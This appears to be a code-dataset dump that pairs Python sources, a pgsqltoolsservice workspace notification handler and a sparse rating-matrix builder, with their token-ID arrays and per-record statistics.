22046, 13, 19608, 292, 316, 92, 2994, 796, 1391, 22046, 13, 22462, 62, 20786, 92, 14367, 37456, 796, 1391, 22046, 13, 19282, 62, 2301, 92, 11537, 198, 4798, 10786, 855, 29, 19141, 1723, 1366, 492, 11537, 198, 361, 26498, 13, 19608, 292, 316, 6624, 705, 66, 361, 283, 940, 10354, 198, 220, 220, 220, 6121, 62, 27432, 796, 31408, 13, 7293, 577, 26933, 198, 220, 220, 220, 220, 220, 220, 220, 31408, 13, 29531, 34, 1773, 7, 2624, 11, 24511, 28, 19, 828, 198, 220, 220, 220, 220, 220, 220, 220, 31408, 13, 29531, 27991, 38342, 7414, 541, 22784, 198, 220, 220, 220, 220, 220, 220, 220, 31408, 13, 2514, 51, 22854, 22784, 198, 220, 220, 220, 220, 220, 220, 220, 31408, 13, 26447, 1096, 19510, 15, 13, 2920, 1415, 11, 657, 13, 2780, 1828, 11, 657, 13, 2598, 2996, 828, 357, 15, 13, 1238, 1954, 11, 657, 13, 22666, 11, 657, 13, 10333, 36911, 12962, 628, 220, 220, 220, 6121, 62, 9288, 796, 31408, 13, 7293, 577, 26933, 198, 220, 220, 220, 220, 220, 220, 220, 31408, 13, 2514, 51, 22854, 22784, 198, 220, 220, 220, 220, 220, 220, 220, 31408, 13, 26447, 1096, 19510, 15, 13, 2920, 1415, 11, 657, 13, 2780, 1828, 11, 657, 13, 2598, 2996, 828, 357, 15, 13, 1238, 1954, 11, 657, 13, 22666, 11, 657, 13, 10333, 36911, 12962, 628, 220, 220, 220, 13404, 316, 796, 28034, 10178, 13, 19608, 292, 1039, 13, 34, 5064, 1503, 940, 7, 15763, 28, 4458, 14, 7890, 3256, 4512, 28, 17821, 11, 4321, 28, 17821, 11, 6121, 28, 35636, 62, 27432, 8, 198, 220, 220, 220, 4512, 29356, 796, 28034, 13, 26791, 13, 7890, 13, 6601, 17401, 7, 2213, 1299, 316, 11, 15458, 62, 7857, 28, 22046, 13, 43501, 62, 7857, 11, 36273, 28, 17821, 11, 997, 62, 22896, 28, 17, 8, 628, 220, 220, 220, 1332, 2617, 796, 28034, 10178, 13, 19608, 292, 1039, 13, 34, 5064, 1503, 940, 7, 15763, 28, 4458, 14, 7890, 3256, 4512, 28, 25101, 11, 4321, 28, 17821, 11, 6121, 28, 35636, 62, 9288, 8, 198, 220, 220, 220, 1332, 29356, 796, 28034, 13, 26791, 13, 7890, 13, 6601, 17401, 7, 9288, 2617, 11, 15458, 62, 7857, 28, 3064, 11, 36273, 28, 25101, 11, 997, 62, 22896, 28, 17, 8, 198, 220, 220, 220, 997, 62, 37724, 796, 838, 198, 198, 361, 26498, 13, 19608, 292, 316, 6624, 705, 66, 361, 283, 3064, 10354, 198, 220, 220, 220, 6121, 62, 27432, 796, 31408, 13, 7293, 577, 26933, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 7645, 23914, 13, 2514, 47, 4146, 5159, 22784, 198, 220, 220, 220, 220, 220, 220, 220, 31408, 13, 29531, 34, 1773, 7, 2624, 11, 24511, 28, 19, 828, 198, 220, 220, 220, 220, 220, 220, 220, 31408, 13, 29531, 27991, 38342, 7414, 541, 22784, 198, 220, 220, 220, 220, 220, 220, 220, 31408, 13, 29531, 49, 14221, 7, 1314, 828, 198, 220, 220, 220, 220, 220, 220, 220, 31408, 13, 2514, 51, 22854, 22784, 198, 220, 220, 220, 220, 220, 220, 220, 31408, 13, 26447, 1096, 7, 357, 15, 13, 1120, 2154, 2425, 19707, 24693, 1485, 1954, 11, 657, 13, 2780, 2996, 2780, 5774, 2091, 19442, 1120, 3865, 11, 657, 13, 25644, 24, 1558, 5705, 29211, 2154, 32118, 828, 357, 15, 13, 25674, 31380, 2078, 3365, 3720, 1731, 486, 11, 657, 13, 1495, 2414, 2548, 3510, 1959, 1558, 2919, 5999, 11, 657, 13, 1983, 5333, 1120, 2857, 1485, 1495, 3104, 26429, 4008, 198, 220, 220, 220, 33761, 198, 220, 220, 220, 1303, 66, 361, 283, 3064, 62, 34409, 796, 327, 5064, 1503, 3064, 44077, 7, 6978, 11, 6121, 28, 35636, 62, 27432, 8, 198, 220, 220, 220, 269, 361, 283, 3064, 62, 34409, 796, 28034, 10178, 13, 19608, 292, 1039, 13, 34, 5064, 1503, 3064, 7, 15763, 28, 4458, 14, 7890, 3256, 4512, 28, 17821, 11, 4321, 28, 17821, 11, 6121, 28, 35636, 62, 27432, 8, 198, 220, 220, 220, 4512, 29356, 796, 28034, 13, 26791, 13, 7890, 13, 6601, 17401, 7, 66, 361, 283, 3064, 62, 34409, 11, 36273, 28, 17821, 11, 997, 62, 22896, 28, 17, 11, 15458, 62, 7857, 28, 22046, 13, 43501, 62, 7857, 8, 628, 220, 220, 220, 6121, 62, 9288, 796, 31408, 13, 7293, 577, 26933, 198, 220, 220, 220, 220, 220, 220, 220, 31408, 13, 2514, 51, 22854, 22784, 198, 220, 220, 220, 220, 220, 220, 220, 31408, 13, 26447, 1096, 19510, 15, 13, 1120, 2154, 2425, 19707, 24693, 1485, 1954, 11, 657, 13, 2780, 2996, 2780, 5774, 2091, 19442, 1120, 3865, 11, 657, 13, 25644, 24, 1558, 5705, 29211, 2154, 32118, 828, 357, 15, 13, 25674, 31380, 2078, 3365, 3720, 1731, 486, 11, 657, 13, 1495, 2414, 2548, 3510, 1959, 1558, 2919, 5999, 11, 657, 13, 1983, 5333, 1120, 2857, 1485, 1495, 3104, 26429, 4008, 12962, 198, 220, 220, 220, 269, 361, 283, 3064, 62, 9288, 796, 28034, 10178, 13, 19608, 292, 1039, 13, 34, 5064, 1503, 3064, 7, 15763, 28, 4458, 14, 7890, 3256, 4512, 28, 25101, 11, 4321, 28, 17821, 11, 6121, 28, 35636, 62, 9288, 8, 198, 220, 220, 220, 1332, 29356, 28, 28034, 13, 26791, 13, 7890, 13, 6601, 17401, 7, 66, 361, 283, 3064, 62, 9288, 11, 36273, 28, 17821, 11, 997, 62, 22896, 28, 17, 11, 15458, 62, 7857, 28, 22046, 13, 43501, 62, 7857, 8, 198, 220, 220, 220, 997, 62, 37724, 796, 1802, 198, 220, 220, 220, 220, 198, 4798, 10786, 855, 29, 11819, 2746, 492, 11537, 198, 361, 26498, 13, 19849, 6624, 705, 411, 3262, 10354, 198, 220, 220, 220, 2010, 796, 1874, 7934, 1507, 7, 22510, 62, 37724, 8, 198, 361, 26498, 13, 19849, 6624, 705, 85, 1130, 10354, 198, 220, 220, 220, 2010, 796, 569, 11190, 10786, 53, 11190, 1129, 3256, 22510, 62, 37724, 8, 198, 3262, 796, 2010, 13, 1462, 7, 25202, 8, 198, 198, 361, 3335, 6624, 705, 66, 15339, 10354, 198, 220, 220, 220, 2010, 796, 28034, 13, 20471, 13, 6601, 10044, 29363, 7, 3262, 8, 198, 220, 220, 220, 269, 463, 20471, 13, 26968, 4102, 796, 6407, 628, 198, 22213, 28019, 796, 299, 77, 13, 21544, 14539, 28338, 43, 793, 3419, 198, 40085, 7509, 796, 6436, 13, 38475, 35, 7, 3262, 13, 17143, 7307, 22784, 300, 81, 28, 22046, 13, 14050, 11, 3463, 62, 12501, 323, 28, 20, 68, 12, 19, 8, 198, 1416, 704, 18173, 796, 28034, 13, 40085, 13, 14050, 62, 1416, 704, 18173, 13, 36734, 500, 43227, 4272, 35972, 7, 40085, 7509, 11, 309, 62, 9806, 28, 2167, 8, 628, 198, 1640, 36835, 287, 2837, 7, 15, 11, 26498, 13, 538, 5374, 82, 2599, 198, 220, 220, 220, 4512, 7, 538, 5374, 8, 198, 220, 220, 220, 6038, 18173, 13, 9662, 3419, 198, 220, 220, 220, 1332, 7, 538, 5374, 8, 198, 4134, 796, 9288, 7, 15, 8, 198, 4798, 10786, 50, 2703, 492, 11537, 198, 5219, 796, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 3262, 10354, 2010, 13, 5219, 62, 11600, 22784, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 4134, 10354, 697, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 538, 5374, 10354, 26498, 13, 538, 5374, 82, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 43501, 2546, 10354, 26498, 13, 43501, 62, 7857, 11, 198, 220, 220, 220, 220, 220, 220, 220, 1782, 198, 361, 407, 28686, 13, 6978, 13, 9409, 343, 10786, 19006, 62, 5310, 13363, 62, 27530, 6, 2599, 198, 220, 220, 220, 28686, 13, 28015, 15908, 10786, 19006, 62, 5310, 13363, 62, 27530, 11537, 198, 13165, 354, 13, 21928, 7, 5219, 11, 277, 4458, 14, 19006, 62, 5310, 13363, 62, 27530, 14, 90, 22046, 13, 19849, 92, 23330, 22046, 13, 19608, 292, 316, 92, 23330, 22046, 13, 22462, 62, 20786, 92, 23330, 22046, 13, 43501, 62, 7857, 92, 23330, 22046, 13, 538, 5374, 82, 27422, 79, 400, 11537, 628 ]
2.629889
1,713
# -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # -------------------------------------------------------------------------------------------- from logging import Logger # noqa from typing import Callable, List, Optional # noqa from pgsqltoolsservice.hosting import JSONRPCServer, NotificationContext, ServiceProvider # noqa from pgsqltoolsservice.workspace.contracts import ( DID_CHANGE_CONFIG_NOTIFICATION, DidChangeConfigurationParams, DID_CHANGE_TEXT_DOCUMENT_NOTIFICATION, DidChangeTextDocumentParams, DID_OPEN_TEXT_DOCUMENT_NOTIFICATION, DidOpenTextDocumentParams, DID_CLOSE_TEXT_DOCUMENT_NOTIFICATION, DidCloseTextDocumentParams, Configuration, Range ) from pgsqltoolsservice.workspace.script_file import ScriptFile from pgsqltoolsservice.workspace.workspace import Workspace class WorkspaceService: """ Class for handling requests/events that deal with the sate of the workspace including opening and closing of files, the changing of configuration, etc. """ # PROPERTIES ########################################################### @property @property def workspace(self) -> Workspace: """Gets the current workspace""" return self._workspace # METHODS ############################################################## def get_text(self, file_uri: str, selection_range: Optional[Range]) -> str: """ Get the requested text selection, as a string, for a document :param file_uri: The URI of the requested file :param selection_data: An object containing information about which part of the file to return, or None for the whole file :raises ValueError: If there is no file matching the given URI """ open_file = self._workspace.get_file(file_uri) if open_file is None: raise ValueError('No file corresponding to the given URI') if selection_range is None: return open_file.get_all_text() else: return open_file.get_text_in_range(selection_range) # REQUEST HANDLERS ##################################################### def _handle_did_change_config( self, notification_context: NotificationContext, params: DidChangeConfigurationParams ) -> None: """ Handles the configuration change event by storing the new configuration and calling all registered config change callbacks :param notification_context: Context of the notification :param params: Parameters from the notification """ self._configuration = params.settings for callback in self._config_change_callbacks: callback(self._configuration) def _handle_did_change_text_doc( self, notification_context: NotificationContext, params: DidChangeTextDocumentParams ) -> None: """ Handles text document change notifications :param notification_context: Context of the notification :param params: Parameters of the notification """ try: # Skip processing if the file isn't opened script_file: ScriptFile = self._workspace.get_file(params.text_document.uri) if script_file is None: return # Apply the changes to the document for text_change in params.content_changes: script_file.apply_change(text_change) # Propagate the changes to the registered callbacks for callback in self._text_change_callbacks: callback(script_file) except Exception as e: if self._logger is not None: self._logger.exception(f'Exception caught during text doc change: {e}') def _handle_did_open_text_doc( self, notification_context: NotificationContext, params: DidOpenTextDocumentParams ) -> None: """ Handles when a file is opened in the workspace. The event is propagated to the registered file open callbacks :param notification_context: Context of the notification :param params: Parameters from the notification """ try: # Open a new ScriptFile with the initial buffer provided opened_file: ScriptFile = self._workspace.open_file(params.text_document.uri, params.text_document.text) if opened_file is None: return # Propagate the notification to the registered callbacks for callback in self._text_open_callbacks: callback(opened_file) except Exception as e: if self._logger is not None: self._logger.exception(f'Exception caught during text doc open: {e}') def _handle_did_close_text_doc( self, notification_context: NotificationContext, params: DidCloseTextDocumentParams ) -> None: """ Handles when a file is closed in the workspace. The event is propagated to the registered file close callbacks :param notification_context: Context of the notification :param params: Parameters from the notification """ try: # Attempt to close the requested file closed_file: ScriptFile = self._workspace.close_file(params.text_document.uri) if closed_file is None: return # Propagate the notification to the registered callbacks for callback in self._text_close_callbacks: callback(closed_file) except Exception as e: if self._logger is not None: self._logger.exception(f'Exception caught during text doc close: {e}')
[ 2, 16529, 1783, 10541, 198, 2, 15069, 357, 66, 8, 5413, 10501, 13, 1439, 2489, 10395, 13, 198, 2, 49962, 739, 262, 17168, 13789, 13, 4091, 13789, 13, 14116, 287, 262, 1628, 6808, 329, 5964, 1321, 13, 198, 2, 16529, 1783, 10541, 198, 198, 6738, 18931, 1330, 5972, 1362, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 645, 20402, 198, 6738, 19720, 1330, 4889, 540, 11, 7343, 11, 32233, 220, 1303, 645, 20402, 198, 198, 6738, 279, 14542, 80, 2528, 970, 824, 712, 501, 13, 4774, 278, 1330, 19449, 49, 5662, 10697, 11, 42808, 21947, 11, 4809, 29495, 220, 220, 1303, 645, 20402, 198, 6738, 279, 14542, 80, 2528, 970, 824, 712, 501, 13, 5225, 10223, 13, 28484, 82, 1330, 357, 198, 220, 220, 220, 35697, 62, 3398, 27746, 62, 10943, 16254, 62, 11929, 30643, 6234, 11, 7731, 19400, 38149, 10044, 4105, 11, 198, 220, 220, 220, 35697, 62, 3398, 27746, 62, 32541, 62, 38715, 5883, 3525, 62, 11929, 30643, 6234, 11, 7731, 19400, 8206, 24941, 10044, 4105, 11, 198, 220, 220, 220, 35697, 62, 3185, 1677, 62, 32541, 62, 38715, 5883, 3525, 62, 11929, 30643, 6234, 11, 7731, 11505, 8206, 24941, 10044, 4105, 11, 198, 220, 220, 220, 35697, 62, 32737, 62, 32541, 62, 38715, 5883, 3525, 62, 11929, 30643, 6234, 11, 7731, 26125, 8206, 24941, 10044, 4105, 11, 198, 220, 220, 220, 28373, 11, 13667, 198, 8, 198, 6738, 279, 14542, 80, 2528, 970, 824, 712, 501, 13, 5225, 10223, 13, 12048, 62, 7753, 1330, 12327, 8979, 198, 6738, 279, 14542, 80, 2528, 970, 824, 712, 501, 13, 5225, 10223, 13, 5225, 10223, 1330, 10933, 10223, 628, 198, 4871, 10933, 10223, 16177, 25, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 5016, 329, 9041, 7007, 14, 31534, 326, 1730, 351, 262, 264, 378, 286, 262, 44573, 1390, 4756, 198, 220, 220, 220, 290, 9605, 286, 3696, 11, 262, 5609, 286, 8398, 11, 3503, 13, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 1303, 4810, 3185, 17395, 11015, 1303, 29113, 14468, 7804, 2235, 198, 220, 220, 220, 2488, 26745, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 44573, 7, 944, 8, 4613, 10933, 10223, 25, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 38, 1039, 262, 1459, 44573, 37811, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13557, 5225, 10223, 628, 220, 220, 220, 1303, 337, 36252, 50, 1303, 29113, 14468, 7804, 4242, 2, 628, 220, 220, 220, 825, 651, 62, 5239, 7, 944, 11, 2393, 62, 9900, 25, 965, 11, 6356, 62, 9521, 25, 32233, 58, 17257, 12962, 4613, 965, 25, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 3497, 262, 9167, 2420, 6356, 11, 355, 257, 4731, 11, 329, 257, 3188, 628, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 2393, 62, 9900, 25, 383, 43975, 286, 262, 9167, 2393, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 6356, 62, 7890, 25, 1052, 2134, 7268, 1321, 546, 543, 636, 286, 262, 2393, 284, 1441, 11, 198, 220, 220, 220, 220, 220, 220, 220, 393, 6045, 329, 262, 2187, 2393, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 430, 2696, 11052, 12331, 25, 1002, 612, 318, 645, 2393, 12336, 262, 1813, 43975, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1280, 62, 7753, 796, 2116, 13557, 5225, 10223, 13, 1136, 62, 7753, 7, 7753, 62, 9900, 8, 198, 220, 220, 220, 220, 220, 220, 220, 611, 1280, 62, 7753, 318, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5298, 11052, 12331, 10786, 2949, 2393, 11188, 284, 262, 1813, 43975, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 611, 6356, 62, 9521, 318, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 1280, 62, 7753, 13, 1136, 62, 439, 62, 5239, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 1280, 62, 7753, 13, 1136, 62, 5239, 62, 259, 62, 9521, 7, 49283, 62, 9521, 8, 628, 220, 220, 220, 1303, 4526, 35780, 367, 6981, 43, 4877, 1303, 29113, 14468, 4242, 198, 220, 220, 220, 825, 4808, 28144, 62, 20839, 62, 3803, 62, 11250, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 14483, 62, 22866, 25, 42808, 21947, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 42287, 25, 7731, 19400, 38149, 10044, 4105, 198, 220, 220, 220, 1267, 4613, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 7157, 829, 262, 8398, 1487, 1785, 416, 23069, 262, 649, 8398, 290, 4585, 477, 198, 220, 220, 220, 220, 220, 220, 220, 6823, 4566, 1487, 869, 10146, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 14483, 62, 22866, 25, 30532, 286, 262, 14483, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 42287, 25, 40117, 422, 262, 14483, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 11250, 3924, 796, 42287, 13, 33692, 198, 220, 220, 220, 220, 220, 220, 220, 329, 23838, 287, 2116, 13557, 11250, 62, 3803, 62, 13345, 10146, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 23838, 7, 944, 13557, 11250, 3924, 8, 628, 220, 220, 220, 825, 4808, 28144, 62, 20839, 62, 3803, 62, 5239, 62, 15390, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 14483, 62, 22866, 25, 42808, 21947, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 42287, 25, 7731, 19400, 8206, 24941, 10044, 4105, 198, 220, 220, 220, 1267, 4613, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 7157, 829, 2420, 3188, 1487, 19605, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 14483, 62, 22866, 25, 30532, 286, 262, 14483, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 42287, 25, 40117, 286, 262, 14483, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1949, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 32214, 7587, 611, 262, 2393, 2125, 470, 4721, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4226, 62, 7753, 25, 12327, 8979, 796, 2116, 13557, 5225, 10223, 13, 1136, 62, 7753, 7, 37266, 13, 5239, 62, 22897, 13, 9900, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 4226, 62, 7753, 318, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 27967, 262, 2458, 284, 262, 3188, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 329, 2420, 62, 3803, 287, 42287, 13, 11299, 62, 36653, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4226, 62, 7753, 13, 39014, 62, 3803, 7, 5239, 62, 3803, 8, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 8772, 37861, 262, 2458, 284, 262, 6823, 869, 10146, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 329, 23838, 287, 2116, 13557, 5239, 62, 3803, 62, 13345, 10146, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 23838, 7, 12048, 62, 7753, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2845, 35528, 355, 304, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 2116, 13557, 6404, 1362, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 6404, 1362, 13, 1069, 4516, 7, 69, 6, 16922, 4978, 1141, 2420, 2205, 1487, 25, 1391, 68, 92, 11537, 628, 220, 220, 220, 825, 4808, 28144, 62, 20839, 62, 9654, 62, 5239, 62, 15390, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 14483, 62, 22866, 25, 42808, 21947, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 42287, 25, 7731, 11505, 8206, 24941, 10044, 4105, 198, 220, 220, 220, 1267, 4613, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 7157, 829, 618, 257, 2393, 318, 4721, 287, 262, 44573, 13, 383, 1785, 318, 8928, 515, 284, 262, 6823, 198, 220, 220, 220, 220, 220, 220, 220, 2393, 1280, 869, 10146, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 14483, 62, 22866, 25, 30532, 286, 262, 14483, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 42287, 25, 40117, 422, 262, 14483, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1949, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 4946, 257, 649, 12327, 8979, 351, 262, 4238, 11876, 2810, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4721, 62, 7753, 25, 12327, 8979, 796, 2116, 13557, 5225, 10223, 13, 9654, 62, 7753, 7, 37266, 13, 5239, 62, 22897, 13, 9900, 11, 42287, 13, 5239, 62, 22897, 13, 5239, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 4721, 62, 7753, 318, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 8772, 37861, 262, 14483, 284, 262, 6823, 869, 10146, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 329, 23838, 287, 2116, 13557, 5239, 62, 9654, 62, 13345, 10146, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 23838, 7, 26350, 62, 7753, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2845, 35528, 355, 304, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 2116, 13557, 6404, 1362, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 6404, 1362, 13, 1069, 4516, 7, 69, 6, 16922, 4978, 1141, 2420, 2205, 1280, 25, 1391, 68, 92, 11537, 628, 220, 220, 220, 825, 4808, 28144, 62, 20839, 62, 19836, 62, 5239, 62, 15390, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 14483, 62, 22866, 25, 42808, 21947, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 42287, 25, 7731, 26125, 8206, 24941, 10044, 4105, 198, 220, 220, 220, 1267, 4613, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 7157, 829, 618, 257, 2393, 318, 4838, 287, 262, 44573, 13, 383, 1785, 318, 8928, 515, 284, 262, 6823, 198, 220, 220, 220, 220, 220, 220, 220, 2393, 1969, 869, 10146, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 14483, 62, 22866, 25, 30532, 286, 262, 14483, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 42287, 25, 40117, 422, 262, 14483, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1949, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 25770, 284, 1969, 262, 9167, 2393, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4838, 62, 7753, 25, 12327, 8979, 796, 2116, 13557, 5225, 10223, 13, 19836, 62, 7753, 7, 37266, 13, 5239, 62, 22897, 13, 9900, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 4838, 62, 7753, 318, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 8772, 37861, 262, 14483, 284, 262, 6823, 869, 10146, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 329, 23838, 287, 2116, 13557, 5239, 62, 19836, 62, 13345, 10146, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 23838, 7, 20225, 62, 7753, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2845, 35528, 355, 304, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 2116, 13557, 6404, 1362, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 6404, 1362, 13, 1069, 4516, 7, 69, 6, 16922, 4978, 1141, 2420, 2205, 1969, 25, 1391, 68, 92, 11537, 198 ]
2.716998
2,212
""" Data manipulation routines. """ from collections import namedtuple import logging import scipy.sparse as sps import numpy as np import pandas as pd from csr import CSR _log = logging.getLogger(__name__) RatingMatrix = namedtuple('RatingMatrix', ['matrix', 'users', 'items']) RatingMatrix.__doc__ = """ A rating matrix with associated indices. Attributes: matrix(CSR or scipy.sparse.csr_matrix): The rating matrix, with users on rows and items on columns. users(pandas.Index): mapping from user IDs to row numbers. items(pandas.Index): mapping from item IDs to column numbers. """ def sparse_ratings(ratings, scipy=False, *, users=None, items=None): """ Convert a rating table to a sparse matrix of ratings. Args: ratings(pandas.DataFrame): a data table of (user, item, rating) triples. scipy(bool): if ``True`` or ``'csr'``, return a SciPy csr matrix instead of :py:class:`CSR`. if ``'coo'``, return a SciPy coo matrix. users(pandas.Index): an index of user IDs. items(pandas.Index): an index of items IDs. Returns: RatingMatrix: a named tuple containing the sparse matrix, user index, and item index. """ if users is None: users = pd.Index(np.unique(ratings.user), name='user') if items is None: items = pd.Index(np.unique(ratings.item), name='item') _log.debug('creating matrix with %d ratings for %d items by %d users', len(ratings), len(items), len(users)) row_ind = users.get_indexer(ratings.user).astype(np.intc) if np.any(row_ind < 0): raise ValueError('provided user index does not cover all users') col_ind = items.get_indexer(ratings.item).astype(np.intc) if np.any(col_ind < 0): raise ValueError('provided item index does not cover all users') if 'rating' in ratings.columns: vals = np.require(ratings.rating.values, np.float64) else: vals = None if scipy == 'coo': matrix = sps.coo_matrix( (vals, (row_ind, col_ind)), shape=(len(users), len(items)) ) else: matrix = CSR.from_coo(row_ind, col_ind, vals, (len(users), len(items))) if scipy: matrix = matrix.to_scipy() return RatingMatrix(matrix, users, items)
[ 37811, 198, 6601, 17512, 31878, 13, 198, 37811, 198, 198, 6738, 17268, 1330, 3706, 83, 29291, 198, 11748, 18931, 198, 198, 11748, 629, 541, 88, 13, 82, 29572, 355, 599, 82, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 19798, 292, 355, 279, 67, 198, 6738, 269, 27891, 1330, 9429, 49, 198, 198, 62, 6404, 796, 18931, 13, 1136, 11187, 1362, 7, 834, 3672, 834, 8, 198, 198, 29321, 46912, 796, 3706, 83, 29291, 10786, 29321, 46912, 3256, 37250, 6759, 8609, 3256, 705, 18417, 3256, 705, 23814, 6, 12962, 198, 29321, 46912, 13, 834, 15390, 834, 796, 37227, 198, 32, 7955, 17593, 351, 3917, 36525, 13, 198, 198, 29021, 25, 198, 220, 220, 220, 17593, 7, 7902, 49, 393, 629, 541, 88, 13, 82, 29572, 13, 6359, 81, 62, 6759, 8609, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 383, 7955, 17593, 11, 351, 2985, 319, 15274, 290, 3709, 319, 15180, 13, 198, 220, 220, 220, 2985, 7, 79, 392, 292, 13, 15732, 2599, 16855, 422, 2836, 32373, 284, 5752, 3146, 13, 198, 220, 220, 220, 3709, 7, 79, 392, 292, 13, 15732, 2599, 16855, 422, 2378, 32373, 284, 5721, 3146, 13, 198, 37811, 628, 198, 